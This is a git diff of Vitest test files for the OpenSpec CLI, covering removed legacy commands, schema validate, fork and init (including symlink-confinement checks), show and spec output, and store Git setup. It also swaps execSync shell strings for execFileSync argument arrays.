b/test/commands/legacy-groups-removed.test.ts @@ -0,0 +1,187 @@ +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { getGlobalDataDir, registerStore } from '../../src/core/index.js'; +import { runCLI } from '../helpers/run-cli.js'; +import { createHealthyOpenSpecRoot } from '../helpers/store-git.js'; +import { cleanupTempPath } from '../helpers/temp-cleanup.js'; + +const SURVIVING_COMMANDS_TIMEOUT_MS = 30_000; + +describe('legacy command groups are removed', () => { + let tempDir: string; + let globalDataDir: string; + let env: NodeJS.ProcessEnv; + + beforeEach(() => { + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-legacy-removed-')); + env = { + XDG_DATA_HOME: path.join(tempDir, 'data'), + XDG_CONFIG_HOME: path.join(tempDir, 'config'), + OPEN_SPEC_INTERACTIVE: '0', + OPENSPEC_TELEMETRY: '0', + }; + globalDataDir = getGlobalDataDir({ env }); + }); + + afterEach(() => { + cleanupTempPath(tempDir); + }); + + function snapshotDirectory(root: string): Map<string, string> { + const snapshot = new Map<string, string>(); + + function walk(dir: string): void { + for (const entry of fs.readdirSync(dir, { withFileTypes: true })) { + const fullPath = path.join(dir, entry.name); + if (entry.isDirectory()) { + // Record directories too, so a command deleting an empty + // subdirectory cannot pass the byte-identity check. + snapshot.set(`${path.relative(root, fullPath).split(path.sep).join('/')}/`, ''); + walk(fullPath); + } else if (entry.isFile()) { + snapshot.set(path.relative(root, fullPath).split(path.sep).join('/'), fs.readFileSync(fullPath, 'utf-8')); + } + } + } + + walk(root); + return snapshot; + } + + // Frozen legacy bytes, written by the now-deleted workspace commands. + // Deliberately NOT the production writer: the pin is that pre-existing + // on-disk state still behaves, independent of serializer drift (the + // writer itself dies in 4.1). + function writeWorkspaceViewFixture(dir: string): void { + const metadataDir = path.join(dir, '.openspec-workspace'); + fs.mkdirSync(metadataDir, { recursive: true }); + fs.writeFileSync( + path.join(metadataDir, 'view.yaml'), + 'version: 1\nname: platform\ncontext: null\nlinks: {}\n' + ); + } + + it('rejects the deleted groups as unknown commands', async () => { + for (const group of ['workspace', 'initiative']) { + const result = await runCLI([group, 'list'], { cwd: tempDir, env }); + + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain(`unknown command '${group}'`); + } + }); + + it('lists neither group in --help', async () => { + const result = await runCLI(['--help'], { cwd: tempDir, env }); + + expect(result.exitCode).toBe(0); + expect(result.stdout).not.toMatch(/^\s*workspace\s/m); + expect(result.stdout).not.toMatch(/^\s*initiative\s/m); + }); + + it('update falls through to the standard no-project error in a view dir', async () => { + writeWorkspaceViewFixture(tempDir); + + const result = await runCLI(['update'], { cwd: tempDir, env }); + + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain('No OpenSpec directory found'); + expect(result.stderr).not.toContain('workspace'); + }); + + it('keeps initiative data and view state byte-identical across surviving commands', async () => { + // A store carrying initiative data created by the deleted commands. + const storeRoot = path.join(tempDir, 'team-context'); + createHealthyOpenSpecRoot(storeRoot); + const initiativeDir = path.join(storeRoot, 'initiatives', 'billing-launch'); + fs.mkdirSync(initiativeDir, { recursive: true }); + fs.writeFileSync( + path.join(initiativeDir, 'initiative.yaml'), + 'version: 1\nid: billing-launch\ntitle: Billing Launch\n' + ); + await registerStore({ id: 'team-context', localPath: storeRoot, globalDataDir }); + + // An unrelated store, so `store remove` runs without touching the first. + const otherRoot = path.join(tempDir, 'other-context'); + createHealthyOpenSpecRoot(otherRoot); + await registerStore({ id: 'other-context', localPath: otherRoot, globalDataDir }); + + // Leftover workspace view state in a project dir. + const projectDir = path.join(tempDir, 'project'); + fs.mkdirSync(projectDir, { recursive: true }); + writeWorkspaceViewFixture(projectDir); + + const initiativeBefore = snapshotDirectory(path.join(storeRoot, 'initiatives')); + const viewBefore = snapshotDirectory(path.join(projectDir, '.openspec-workspace')); + + expect((await runCLI(['store', 'list', '--json'], { cwd: projectDir, env })).exitCode).toBe(0); + expect((await runCLI(['store', 'doctor', '--json'], { cwd: projectDir, env })).exitCode).toBe(0); + expect( + (await runCLI(['store', 'remove', 'other-context', '--yes', '--json'], { + cwd: projectDir, + env, + })).exitCode + ).toBe(0); + // update exits 1 here (no project) — asserted so a future auto-init + // behavior cannot silently start writing into this fixture. + expect((await runCLI(['update'], { cwd: projectDir, env })).exitCode).toBe(1); + expect( + (await runCLI(['new', 'change', 'survival-check', '--store', 'team-context', '--json'], { + cwd: projectDir, + env, + })).exitCode + ).toBe(0); + expect( + (await runCLI(['status', '--change', 'survival-check', '--store', 'team-context', '--json'], { + cwd: projectDir, + env, + })).exitCode + ).toBe(0); + + expect(snapshotDirectory(path.join(storeRoot, 'initiatives'))).toEqual(initiativeBefore); + expect(snapshotDirectory(path.join(projectDir, '.openspec-workspace'))).toEqual(viewBefore); + }, SURVIVING_COMMANDS_TIMEOUT_MS); + + it('tolerates legacy initiative metadata without re-emitting it', async () => { + const projectDir = path.join(tempDir, 'legacy-project'); + createHealthyOpenSpecRoot(projectDir); + const changeDir = path.join(projectDir, 'openspec', 'changes', 'legacy-change'); + fs.mkdirSync(changeDir, { recursive: true }); + fs.writeFileSync( + path.join(changeDir, '.openspec.yaml'), + ['schema: spec-driven', 'initiative:', ' store: team-context', ' id: billing-launch'].join( + '\n' + ) + '\n' + ); + + const result = await runCLI(['status', '--change', 'legacy-change'], { + cwd: projectDir, + env, + }); + + expect(result.exitCode).toBe(0); + expect(result.stdout).not.toContain('Initiative:'); + }); + + it('reports repo-local in a view dir, exactly as before this slice', async () => { + // workspace-planning mode has been CLI-unreachable since slice 1.2's + // resolver demotion; this pins that the deletion changed nothing. + const projectDir = path.join(tempDir, 'view-project'); + createHealthyOpenSpecRoot(projectDir); + writeWorkspaceViewFixture(projectDir); + const changeDir = path.join(projectDir, 'openspec', 'changes', 'mode-check'); + fs.mkdirSync(changeDir, { recursive: true }); + fs.writeFileSync(path.join(changeDir, '.openspec.yaml'), 'schema: spec-driven\n'); + + const result = await runCLI(['status', '--change', 'mode-check', '--json'], { + cwd: projectDir, + env, + }); + + expect(result.exitCode).toBe(0); + expect(JSON.parse(result.stdout).actionContext.mode).toBe('repo-local'); + }); + +}); diff --git a/test/commands/schema.test.ts b/test/commands/schema.test.ts index c614038aa1..9571bacf2f 100644 --- a/test/commands/schema.test.ts +++ b/test/commands/schema.test.ts @@ -1,22 +1,27 @@ import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import { Command } from 'commander'; import * as fs from 'node:fs'; import * as path from 'node:path'; import * as os from 'node:os'; +async function runSchemaCommand(args: string[]): Promise<void> { + const { registerSchemaCommand } = await import('../../src/commands/schema.js'); + const program = new Command(); + registerSchemaCommand(program); + await program.parseAsync(['node', 'openspec', 'schema', ...args]); +} + describe('schema command', () => { let tempDir: string; let originalCwd: string; let originalEnv: NodeJS.ProcessEnv; + let originalExitCode: typeof process.exitCode; let consoleLogSpy: ReturnType<typeof vi.spyOn>; let consoleErrorSpy: ReturnType<typeof vi.spyOn>; beforeEach(() => { // Create unique temp directory for each test - tempDir = path.join( - os.tmpdir(), - `openspec-schema-test-${Date.now()}-${Math.random().toString(36).slice(2)}` - ); - fs.mkdirSync(tempDir, { recursive: true }); + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-schema-test-')); // Create openspec directory structure fs.mkdirSync(path.join(tempDir, 'openspec', 'schemas'), { recursive: true }); @@ -24,6 +29,8 @@ describe('schema command', () => { // Save original cwd and env originalCwd = process.cwd(); originalEnv = { ...process.env }; + originalExitCode = process.exitCode; + process.exitCode = undefined; // Change to temp directory process.chdir(tempDir); @@ -41,6 +48,7 @@ describe('schema command', () => { // Restore cwd and env process.chdir(originalCwd); process.env = originalEnv; + process.exitCode = originalExitCode; // Clean up temp directory fs.rmSync(tempDir, { recursive: true, force: true }); @@ -150,6 +158,40 @@ artifacts: expect(fs.existsSync(templatePath)).toBe(false); }); + it('should reject a template symlink outside the runtime templates directory', async () => { + if (process.platform === 'win32') return; + + const schemaDir = path.join(tempDir, 'openspec', 'schemas', 'linked-template'); + const templatesDir = path.join(schemaDir, 'templates'); + fs.mkdirSync(templatesDir, { recursive: true }); + fs.writeFileSync( + path.join(schemaDir, 'schema.yaml'), + `name: linked-template +version: 1 +artifacts: + - id: proposal + generates: proposal.md + description: Proposal + template: proposal.md +` + ); + fs.symlinkSync('../schema.yaml', path.join(templatesDir, 'proposal.md')); + + await runSchemaCommand(['validate', 'linked-template', '--json']); + + expect(process.exitCode).toBe(1); + const output = consoleLogSpy.mock.calls.at(-1)?.[0]; + expect(JSON.parse(output as string)).toMatchObject({ + valid: false, + issues: [ + { + path: 'artifacts.proposal.template', + message: expect.stringContaining('outside the schema templates directory'), + }, + ], + }); + }); + it('should detect circular dependencies', async () => { const { parseSchema, SchemaValidationError } = await import( '../../src/core/artifact-graph/schema.js' @@ -242,9 +284,173 @@ artifacts: expect(isValidSchemaName('-my-schema')).toBe(false); expect(isValidSchemaName('123schema')).toBe(false); }); + + it('should reject linked files without copying their contents', async () => { + if (process.platform === 'win32') return; + + const sourceDir = path.join(tempDir, 'openspec', 'schemas', 'linked-source'); + const templatesDir = path.join(sourceDir, 'templates'); + const secretPath = path.join(tempDir, 'secret.txt'); + const destinationDir = path.join(tempDir, 'openspec', 'schemas', 'linked-copy'); + fs.mkdirSync(templatesDir, { recursive: true }); + fs.writeFileSync( + path.join(sourceDir, 'schema.yaml'), + `name: linked-source +version: 1 +artifacts: + - id: proposal + generates: proposal.md + description: Proposal + template: proposal.md +` + ); + fs.writeFileSync(secretPath, 'keep this private'); + fs.symlinkSync(secretPath, path.join(templatesDir, 'proposal.md')); + + await runSchemaCommand(['fork', 'linked-source', 'linked-copy', '--json']); + + expect(process.exitCode).toBe(1); + expect(fs.existsSync(destinationDir)).toBe(false); + const output = consoleLogSpy.mock.calls.at(-1)?.[0]; + expect(JSON.parse(output as string).error).toContain( + 'Cannot fork schema with linked or unsupported entry' + ); + expect(JSON.parse(output as string).error).toContain('Path is outside the allowed directory'); + }); + + it('should dereference a confined template link into an independent fork', async () => { + if (process.platform === 'win32') return; + + const sourceDir = path.join(tempDir, 'openspec', 'schemas', 'linked-source'); + const templatesDir = path.join(sourceDir, 'templates'); + const destinationDir = path.join(tempDir, 'openspec', 'schemas', 'linked-copy'); + fs.mkdirSync(templatesDir, { recursive: true }); + fs.writeFileSync( + path.join(sourceDir, 'schema.yaml'), + `name: linked-source +version: 1 +artifacts: + - id: proposal + generates: proposal.md + description: Proposal + template: proposal.md +` + ); + fs.writeFileSync(path.join(templatesDir, 'shared.md'), '# Shared template\n'); + fs.symlinkSync('shared.md', path.join(templatesDir, 'proposal.md')); + + await runSchemaCommand(['fork', 'linked-source', 'linked-copy', '--json']); + + expect(process.exitCode).not.toBe(1); + const copiedTemplate = path.join(destinationDir, 'templates', 'proposal.md'); + expect(fs.lstatSync(copiedTemplate).isFile()).toBe(true); + expect(fs.readFileSync(copiedTemplate, 'utf8')).toBe('# Shared template\n'); + }); + + it('should fork a linked schema root', async () => { + const realSourceDir = path.join(tempDir, 'shared-schema'); + const linkedSourceDir = path.join( + tempDir, + 'openspec', + 'schemas', + 'linked-source' + ); + const templatesDir = path.join(realSourceDir, 'templates'); + const destinationDir = path.join(tempDir, 'openspec', 'schemas', 'linked-copy'); + fs.mkdirSync(templatesDir, { recursive: true }); + fs.mkdirSync(path.dirname(linkedSourceDir), { recursive: true }); + fs.writeFileSync( + path.join(realSourceDir, 'schema.yaml'), + `name: linked-source +version: 1 +artifacts: + - id: proposal + generates: proposal.md + description: Proposal + template: proposal.md +` + ); + fs.writeFileSync(path.join(templatesDir, 'proposal.md'), '# Linked root\n'); + fs.symlinkSync( + realSourceDir, + linkedSourceDir, + process.platform === 'win32' ? 'junction' : 'dir' + ); + + await runSchemaCommand(['fork', 'linked-source', 'linked-copy', '--json']); + + expect(process.exitCode).not.toBe(1); + expect( + fs.readFileSync(path.join(destinationDir, 'templates', 'proposal.md'), 'utf8') + ).toBe('# Linked root\n'); + }); }); describe('schema init', () => { + it('should preserve an existing schema when forced init rejects an artifact', async () => { + const schemaDir = path.join(tempDir, 'openspec', 'schemas', 'tdd-driven'); + const schemaPath = path.join(schemaDir, 'schema.yaml'); + const sentinelPath = path.join(schemaDir, 'keep.bin'); + const existingSchema = 'name: tdd-driven\nversion: 1\n'; + const sentinel = Buffer.from([0x00, 0x01, 0x7f, 0xff]); + + fs.mkdirSync(schemaDir, { recursive: true }); + fs.writeFileSync(schemaPath, existingSchema); + fs.writeFileSync(sentinelPath, sentinel); + + await runSchemaCommand([ + 'init', + 'tdd-driven', + '--force', + '--artifacts', + 'proposal,specs,design,task', + '--json', + ]); + + expect(process.exitCode).toBe(1); + const output = consoleLogSpy.mock.calls.at(-1)?.[0]; + expect(typeof output).toBe('string'); + expect(JSON.parse(output as string)).toEqual({ + created: false, + error: "Unknown artifact 'task'", + valid: ['proposal', 'specs', 'design', 'tasks'], + }); + expect(fs.readFileSync(schemaPath, 'utf-8')).toBe(existingSchema); + expect(fs.readFileSync(sentinelPath)).toEqual(sentinel); + }); + + it('should replace an existing schema after forced init validates its artifacts', async () => { + const schemaDir = path.join(tempDir, 'openspec', 'schemas', 'tdd-driven'); + const sentinelPath = path.join(schemaDir, 'keep.txt'); + + fs.mkdirSync(schemaDir, { recursive: true }); + fs.writeFileSync(sentinelPath, 'remove me'); + + await runSchemaCommand([ + 'init', + 'tdd-driven', + '--force', + '--artifacts', + 'proposal,specs,design,tasks', + '--json', + ]); + + expect(process.exitCode).toBeUndefined(); + const output = consoleLogSpy.mock.calls.at(-1)?.[0]; + expect(typeof output).toBe('string'); + expect(JSON.parse(output as string)).toMatchObject({ + created: true, + schema: 'tdd-driven', + artifacts: ['proposal', 'specs', 'design', 'tasks'], + }); + expect(fs.existsSync(sentinelPath)).toBe(false); + expect(fs.existsSync(path.join(schemaDir, 'schema.yaml'))).toBe(true); + expect(fs.existsSync(path.join(schemaDir, 'templates', 'proposal.md'))).toBe(true); + expect(fs.existsSync(path.join(schemaDir, 'templates', 'specs', 'spec.md'))).toBe(true); + expect(fs.existsSync(path.join(schemaDir, 'templates', 'design.md'))).toBe(true); + expect(fs.existsSync(path.join(schemaDir, 'templates', 'tasks.md'))).toBe(true); + }); + it('should create schema directory with schema.yaml', async () => { const schemaDir = path.join(tempDir, 'openspec', 'schemas', 'new-schema'); fs.mkdirSync(schemaDir, { recursive: true }); diff --git a/test/commands/show.test.ts b/test/commands/show.test.ts index 67de310c2d..19ec6b2820 100644 --- a/test/commands/show.test.ts +++ b/test/commands/show.test.ts @@ -1,7 +1,7 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { promises as fs } from 'fs'; import path from 'path'; -import { execSync } from 'child_process'; +import { execFileSync, spawnSync } from 'child_process'; describe('top-level show command', () => { const projectRoot = process.cwd(); @@ -36,7 +36,7 @@ describe('top-level show command', () => { process.env.OPEN_SPEC_INTERACTIVE = '0'; let err: any; try { - execSync(`node ${openspecBin} show`, { encoding: 'utf-8' }); + execFileSync('node', [openspecBin, 'show'], { encoding: 'utf-8' }); } catch (e) { err = e; } expect(err).toBeDefined(); expect(err.status).not.toBe(0); @@ -55,7 +55,7 @@ describe('top-level show command', () => { const originalCwd = process.cwd(); try { process.chdir(testDir); - const output = execSync(`node ${openspecBin} show demo --json`, { encoding: 'utf-8' }); + const output = execFileSync('node', [openspecBin, 'show', 'demo', '--json'], { encoding: 'utf-8' }); const json = JSON.parse(output); expect(json.id).toBe('demo'); expect(Array.isArray(json.deltas)).toBe(true); @@ -64,11 +64,32 @@ describe('top-level show command', () => { } }); + it('does not warn about spec-only flags that were never passed', () => { + // commander defaults `scenarios` to true for --no-scenarios, so a plain + // `show <change>` must not warn about a flag the user never typed. + const res = spawnSync('node', [openspecBin, 'show', 'demo', '--json'], { + encoding: 'utf-8', + cwd: testDir, + }); + expect(res.status).toBe(0); + expect(res.stderr).not.toContain('not applicable'); + }); + + it('still warns when --no-scenarios is explicitly passed for a change', () => { + const res = spawnSync( + 'node', + [openspecBin, 'show', 'demo', '--json', '--no-scenarios'], + { encoding: 'utf-8', cwd: testDir } + ); + expect(res.status).toBe(0); + expect(res.stderr).toContain('Ignoring flags not applicable to change: scenarios'); + }); + it('auto-detects spec id and supports spec-only flags', () => { const originalCwd = process.cwd(); try { process.chdir(testDir); - const output = execSync(`node ${openspecBin} show auth --json --requirements`, { encoding: 'utf-8' }); + const output = execFileSync('node', [openspecBin, 'show', 'auth', '--json', '--requirements'], { encoding: 'utf-8' }); const json = JSON.parse(output); expect(json.id).toBe('auth'); expect(Array.isArray(json.requirements)).toBe(true); @@ -89,7 +110,7 @@ describe('top-level show command', () => { process.chdir(testDir); let err: any; try { - execSync(`node ${openspecBin} show foo`, { encoding: 'utf-8' }); + execFileSync('node', [openspecBin, 'show', 'foo'], { encoding: 'utf-8' }); } catch (e) { err = e; } expect(err).toBeDefined(); expect(err.status).not.toBe(0); @@ -101,13 +122,60 @@ describe('top-level show command', () => { } }); + it('resolves a scaffolded change that has no proposal.md yet', async () => { + // `openspec new change <name>` writes only .openspec.yaml, so `show` must + // resolve the change the same way `list` and `status` already do. + await fs.mkdir(path.join(changesDir, 'scaffolded'), { recursive: true }); + await fs.writeFile(path.join(changesDir, 'scaffolded', '.openspec.yaml'), 'schema: spec-driven\n', 'utf-8'); + + const originalCwd = process.cwd(); + try { + process.chdir(testDir); + let err: any; + try { + execFileSync('node', [openspecBin, 'show', 'scaffolded'], { encoding: 'utf-8' }); + } catch (e) { err = e; } + expect(err).toBeDefined(); + const stderr = err.stderr.toString(); + // Resolved as a change, not rejected as an unknown item. + expect(stderr).not.toContain('Unknown item'); + expect(stderr).toContain('has no proposal.md yet'); + expect(stderr).toContain('openspec status --change scaffolded'); + } finally { + process.chdir(originalCwd); + } + }); + + it('offers a scaffolded change when "change show" is called without a name', async () => { + await fs.mkdir(path.join(changesDir, 'scaffolded'), { recursive: true }); + await fs.writeFile(path.join(changesDir, 'scaffolded', '.openspec.yaml'), 'schema: spec-driven\n', 'utf-8'); + + const originalCwd = process.cwd(); + const originalEnv = { ...process.env }; + try { + process.chdir(testDir); + process.env.OPEN_SPEC_INTERACTIVE = '0'; + let err: any; + try { + execFileSync('node', [openspecBin, 'change', 'show'], { encoding: 'utf-8' }); + } catch (e) { err = e; } + expect(err).toBeDefined(); + const stderr = err.stderr.toString(); + expect(stderr).toContain('Available IDs:'); + expect(stderr).toContain('scaffolded'); + } finally { + process.chdir(originalCwd); + process.env = originalEnv; + } + }); + it('prints nearest matches when not found', () => { const originalCwd = process.cwd(); try { process.chdir(testDir); let err: any; try { - execSync(`node ${openspecBin} show unknown-item`, { encoding: 'utf-8' }); + execFileSync('node', [openspecBin, 'show', 'unknown-item'], { encoding: 'utf-8' }); } catch (e) { err = e; } expect(err).toBeDefined(); expect(err.status).not.toBe(0); diff --git a/test/commands/spec.interactive-show.test.ts b/test/commands/spec.interactive-show.test.ts index f41fdb638f..8c90ab656f 100644 --- a/test/commands/spec.interactive-show.test.ts +++ b/test/commands/spec.interactive-show.test.ts @@ -1,7 +1,7 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { promises as fs } from 'fs'; import path from 'path'; -import { execSync } from 'child_process'; +import { execFileSync } from 'child_process'; describe('spec show (interactive behavior)', () => { const projectRoot = process.cwd(); @@ -29,7 +29,7 @@ describe('spec show (interactive behavior)', () => { process.env.OPEN_SPEC_INTERACTIVE = '0'; let err: any; try { - execSync(`node ${bin} spec show`, { encoding: 'utf-8' }); + execFileSync('node', [bin, 'spec', 'show'], { encoding: 'utf-8' }); } catch (e) { err = e; } expect(err).toBeDefined(); expect(err.status).not.toBe(0); diff --git a/test/commands/spec.interactive-validate.test.ts b/test/commands/spec.interactive-validate.test.ts index 14949d6c50..7475e31e31 100644 --- a/test/commands/spec.interactive-validate.test.ts +++ b/test/commands/spec.interactive-validate.test.ts @@ -1,7 +1,7 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { promises as fs } from 'fs'; import path from 'path'; -import { execSync } from 'child_process'; +import { execFileSync } from 'child_process'; describe('spec validate (interactive behavior)', () => { const projectRoot = process.cwd(); @@ -29,7 +29,7 @@ describe('spec validate (interactive behavior)', () => { process.env.OPEN_SPEC_INTERACTIVE = '0'; let err: any; try { - execSync(`node ${bin} spec validate`, { encoding: 'utf-8' }); + execFileSync('node', [bin, 'spec', 'validate'], { encoding: 'utf-8' }); } catch (e) { err = e; } expect(err).toBeDefined(); expect(err.status).not.toBe(0); diff --git a/test/commands/spec.test.ts b/test/commands/spec.test.ts index b8f90fabed..42426da982 100644 --- a/test/commands/spec.test.ts +++ b/test/commands/spec.test.ts @@ -1,7 +1,7 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { promises as fs } from 'fs'; import path from 'path'; -import { execSync } from 'child_process'; +import { execFileSync } from 'child_process'; describe('spec command', () => { const projectRoot = process.cwd(); @@ -59,7 +59,7 @@ The system SHALL process credit card payments securely`; const originalCwd = process.cwd(); try { process.chdir(testDir); - const output = execSync(`node ${openspecBin} spec show auth`, { + const output = execFileSync('node', [openspecBin, 'spec', 'show', 'auth'], { encoding: 'utf-8' }); @@ -75,7 +75,7 @@ The system SHALL process credit card payments securely`; const originalCwd = process.cwd(); try { process.chdir(testDir); - const output = execSync(`node ${openspecBin} spec show auth --json`, { + const output = execFileSync('node', [openspecBin, 'spec', 'show', 'auth', '--json'], { encoding: 'utf-8' }); @@ -94,7 +94,7 @@ The system SHALL process credit card payments securely`; const originalCwd = process.cwd(); try { process.chdir(testDir); - const output = execSync(`node ${openspecBin} spec show auth --json --requirements`, { + const output = execFileSync('node', [openspecBin, 'spec', 'show', 'auth', '--json', '--requirements'], { encoding: 'utf-8' }); @@ -111,7 +111,7 @@ The system SHALL process credit card payments securely`; const originalCwd = process.cwd(); try { process.chdir(testDir); - const output = execSync(`node ${openspecBin} spec show auth --json --no-scenarios`, { + const output = execFileSync('node', [openspecBin, 'spec', 'show', 'auth', '--json', '--no-scenarios'], { encoding: 'utf-8' }); @@ -127,7 +127,7 @@ The system SHALL process credit card payments securely`; const originalCwd = process.cwd(); try { process.chdir(testDir); - const output = execSync(`node ${openspecBin} spec show auth --json -r 1`, { + const output = execFileSync('node', [openspecBin, 'spec', 'show', 'auth', '--json', '-r', '1'], { encoding: 'utf-8' }); @@ -143,7 +143,7 @@ The system SHALL process credit card payments securely`; const originalCwd = process.cwd(); try { process.chdir(testDir); - const output = execSync(`node ${openspecBin} spec show auth --json --no-scenarios`, { + const output = execFileSync('node', [openspecBin, 'spec', 'show', 'auth', '--json', '--no-scenarios'], { encoding: 'utf-8' }); @@ -161,7 +161,7 @@ The system SHALL process credit card payments securely`; const originalCwd = process.cwd(); try { process.chdir(testDir); - const output = execSync(`node ${openspecBin} spec list`, { + const output = execFileSync('node', [openspecBin, 'spec', 'list'], { encoding: 'utf-8' }); @@ -178,7 +178,7 @@ The system SHALL process credit card payments securely`; const originalCwd = process.cwd(); try { process.chdir(testDir); - const output = execSync(`node ${openspecBin} spec list --json`, { + const output = execFileSync('node', [openspecBin, 'spec', 'list', '--json'], { encoding: 'utf-8' }); @@ -198,7 +198,7 @@ The system SHALL process credit card payments securely`; const originalCwd = process.cwd(); try { process.chdir(testDir); - const output = execSync(`node ${openspecBin} spec validate auth`, { + const output = execFileSync('node', [openspecBin, 'spec', 'validate', 'auth'], { encoding: 'utf-8' }); @@ -212,7 +212,7 @@ The system SHALL process credit card payments securely`; const originalCwd = process.cwd(); try { process.chdir(testDir); - const output = execSync(`node ${openspecBin} spec validate auth --json`, { + const output = execFileSync('node', [openspecBin, 'spec', 'validate', 'auth', '--json'], { encoding: 'utf-8' }); @@ -231,7 +231,7 @@ The system SHALL process credit card payments securely`; const originalCwd = process.cwd(); try { process.chdir(testDir); - const output = execSync(`node ${openspecBin} spec validate auth --strict --json`, { + const output = execFileSync('node', [openspecBin, 'spec', 'validate', 'auth', '--strict', '--json'], { encoding: 'utf-8' }); @@ -259,7 +259,7 @@ This section has no actual requirements`; // This should exit with non-zero code let exitCode = 0; try { - execSync(`node ${openspecBin} spec validate invalid`, { + execFileSync('node', [openspecBin, 'spec', 'validate', 'invalid'], { encoding: 'utf-8' }); } catch (error: any) { @@ -281,7 +281,7 @@ This section has no actual requirements`; let error: any; try { - execSync(`node ${openspecBin} spec show nonexistent`, { + execFileSync('node', [openspecBin, 'spec', 'show', 'nonexistent'], { encoding: 'utf-8' }); } catch (e) { @@ -301,7 +301,7 @@ This section has no actual requirements`; const originalCwd = process.cwd(); try { process.chdir(testDir); - const output = execSync(`node ${openspecBin} spec list`, { encoding: 'utf-8' }); + const output = execFileSync('node', [openspecBin, 'spec', 'list'], { encoding: 'utf-8' }); expect(output.trim()).toBe('No items found'); } finally { process.chdir(originalCwd); @@ -312,7 +312,7 @@ This section has no actual requirements`; const originalCwd = process.cwd(); try { process.chdir(testDir); - const output = execSync(`node ${openspecBin} --no-color spec list --long`, { encoding: 'utf-8' }); + const output = execFileSync('node', [openspecBin, '--no-color', 'spec', 'list', '--long'], { encoding: 'utf-8' }); // Basic ANSI escape pattern const hasAnsi = /\u001b\[[0-9;]*m/.test(output); expect(hasAnsi).toBe(false); diff --git a/test/commands/store-git.test.ts b/test/commands/store-git.test.ts new file mode 100644 index 0000000000..2a9ea8a03c --- /dev/null +++ b/test/commands/store-git.test.ts @@ -0,0 +1,396 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { Command } from 'commander'; +import { execFileSync } from 'node:child_process'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { + getGlobalDataDir, + writeStoreMetadataState, + writeStoreRegistryState, +} from '../../src/core/index.js'; +import { runCLI, type RunCLIResult } from '../helpers/run-cli.js'; +import { createHealthyOpenSpecRoot, isolatedGitEnv } from '../helpers/store-git.js'; +import { cleanupTempPath } from '../helpers/temp-cleanup.js'; + +vi.mock('@inquirer/prompts', () => ({ + input: vi.fn(), + confirm: vi.fn(), +})); + +async function runStoreCommand(args: string[]): Promise<void> { + const { registerStoreCommand } = await import('../../src/commands/store.js'); + const program = new Command(); + registerStoreCommand(program); + await program.parseAsync(['node', 'openspec', 'store', ...args]); +} + +async function getPromptMocks(): Promise<{ + input: ReturnType<typeof vi.fn>; + confirm: ReturnType<typeof vi.fn>; +}> { + const prompts = await import('@inquirer/prompts'); + return { + input: prompts.input as unknown as ReturnType<typeof vi.fn>, + confirm: prompts.confirm as unknown as ReturnType<typeof vi.fn>, + }; +} + +/** + * Git lifecycle behavior of store setup, register, and doctor: the + * initial commit, identity handling, and the read-only Git diagnostics. + */ +describe('store git lifecycle', () => { + let tempDir: string; + let dataHome: string; + let configHome: string; + let globalDataDir: string; + let env: NodeJS.ProcessEnv; + let originalEnv: NodeJS.ProcessEnv; + let originalCwd: string; + let originalStdinTTY: boolean | undefined; + let originalExitCode: string | number | undefined; + let consoleLogSpy: ReturnType<typeof vi.spyOn> | undefined; + let consoleErrorSpy: ReturnType<typeof vi.spyOn> | undefined; + + beforeEach(() => { + vi.resetModules(); + + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-store-git-')); + dataHome = path.join(tempDir, 'data'); + configHome = path.join(tempDir, 'config'); + env = { + XDG_DATA_HOME: dataHome, + XDG_CONFIG_HOME: configHome, + OPEN_SPEC_INTERACTIVE: '0', + OPENSPEC_TELEMETRY: '0', + }; + globalDataDir = getGlobalDataDir({ env }); + + originalEnv = { ...process.env }; + originalCwd = process.cwd(); + originalStdinTTY = (process.stdin as NodeJS.ReadStream & { isTTY?: boolean }).isTTY; + originalExitCode = process.exitCode; + process.exitCode = undefined; + }); + + afterEach(() => { + process.env = originalEnv; + process.chdir(originalCwd); + (process.stdin as NodeJS.ReadStream & { isTTY?: boolean }).isTTY = originalStdinTTY; + process.exitCode = originalExitCode; + consoleLogSpy?.mockRestore(); + consoleErrorSpy?.mockRestore(); + vi.clearAllMocks(); + cleanupTempPath(tempDir); + }); + + function mkdir(relativePath: string): string { + const dir = path.join(tempDir, relativePath); + fs.mkdirSync(dir, { recursive: true }); + return dir; + } + + function parseJson(result: RunCLIResult): any { + try { + return JSON.parse(result.stdout); + } catch (error) { + throw new Error( + `Could not parse JSON.\nCommand: ${result.command}\nstdout:\n${result.stdout}\nstderr:\n${result.stderr}\n${String(error)}` + ); + } + } + + it('defaults to Git without prompting in interactive setup', async () => { + process.env = { + ...process.env, + XDG_DATA_HOME: dataHome, + XDG_CONFIG_HOME: configHome, + OPENSPEC_TELEMETRY: '0', + ...isolatedGitEnv(tempDir), + }; + delete process.env.OPEN_SPEC_INTERACTIVE; + delete process.env.CI; + process.chdir(tempDir); + (process.stdin as NodeJS.ReadStream & { isTTY?: boolean }).isTTY = true; + consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {}); + consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {}); + const storeRoot = path.join(tempDir, 'interactive-context'); + const { input, confirm } = await getPromptMocks(); + input.mockImplementation(async (options: { message: string }) => { + if (options.message === 'Where should this store live?') return storeRoot; + throw new Error(`Unexpected prompt: ${options.message}`); + }); + confirm.mockResolvedValue(true); + + await runStoreCommand(['setup', 'interactive-context']); + + // No Git prompt: Git is the default, and the summary reflects it. + expect(confirm).toHaveBeenCalledTimes(1); + expect(confirm).toHaveBeenNthCalledWith(1, { + message: 'Create this store?', + default: true, + }); + expect(consoleLogSpy).toHaveBeenCalledWith(' Git: initialized'); + expect(consoleLogSpy).toHaveBeenCalledWith( + 'Share this store by committing and pushing it like any Git repo.' + ); + 